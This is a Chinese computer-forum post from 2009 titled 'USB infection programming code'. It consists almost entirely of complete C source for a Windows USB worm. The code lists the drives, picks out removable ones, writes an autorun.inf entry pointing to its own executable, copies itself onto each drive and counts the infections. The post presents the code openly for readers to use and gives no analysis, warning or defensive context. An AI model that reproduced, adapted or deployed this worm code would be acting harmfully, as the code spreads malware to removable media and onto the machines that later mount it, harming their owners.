计算机技术论坛

 找回密码
 立即注册

QQ登录

只需一步,快速开始

  • 欢迎访问 计算机技术论坛-电脑迷与初学者的家园!由于论坛管理严格,新注册会员可能遇到各种问题,无法解决的请发邮件 admin@jsjbbs.cn
查看: 2514|回复: 0

感染USB编程代码

[复制链接]
发表于 2009-7-11 11:07:55 | 显示全部楼层 |阅读模式
#include <windows.h>
#include <stdio.h>

int InfectDrives( );
int WriteINI( char* sINI, char* sFILE );
int ReadINI( char* sINI, char* sFILE  );
int FileCopy( char* sNEW );

char* szFileName = "blah.exe";

int main()
{
    int i = InfectDrives( );
   
    printf( "drives infected: %i", i );
   
    getchar( );
   
    return 0;
   
};

int InfectDrives( )
{
    char szBuffer[260];
    char szInit[520], szFile[520];
    int iCount = 0, iGet, iType;
   
    iGet = GetLogicalDriveStringsA( sizeof( szBuffer ), szBuffer );
    if( iGet == 0 ) {
        return( 0 );
    }
    char *szDrive = szBuffer;
   
    while( *szDrive )
    {
        iType = GetDriveTypeA( szDrive );

        sprintf( szInit, "%sautorun.inf", szDrive ); //craft inf
        sprintf( szFile, "%s%s", szDrive, szFileName ); //craft file
        
        if( iType == 2 ) //removable device
        {
            if( ReadINI( szInit, szFileName ) == 0  ) //check for infection
            {
                if( WriteINI( szInit, szFileName ) == 0 ) //infect
                {
                    if( FileCopy( szFile ) == 0 ) //copy file
                    {
                        iCount++;
                    }
                }
            }
        }
        szDrive = &szDrive[ strlen( szDrive ) + 1];
    }
   
    return( iCount );
};

int WriteINI( char* sINI, char* sFILE )
{
    unsigned long bWrite = WritePrivateProfileString( "autorun", "open", sFILE, sINI );
    if( bWrite == 0 ) {
        return( 1 );
    }
    return( 0 );
};

int ReadINI( char* sINI, char* sFILE )
{
    char szBuffer[260];
    unsigned long lRead = GetPrivateProfileString( "autorun", "open", NULL, szBuffer, sizeof( szBuffer ), sINI );
    if( lRead != 0 ) {
        if( strstr( szBuffer, sFILE ) ) {
            return( 1 );
        }
    }
    return( 0 );
};

int FileCopy( char* sNEW )
{
    char szBuffer[260];
    GetModuleFileName( NULL, szBuffer, sizeof( szBuffer ) );
   
    bool bCopy = CopyFile( szBuffer, sNEW, 0 );
    if( bCopy == false ) {
        return( 1 );
    }
    return( 0 );
}
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

无图版|手机版|计算机技术论坛 JSJBBS.CN @ 2008-2024 ( 鲁ICP备17021708号 )

技术支持 : 北京康盛新创科技有限责任公司

快速回复 返回顶部 返回列表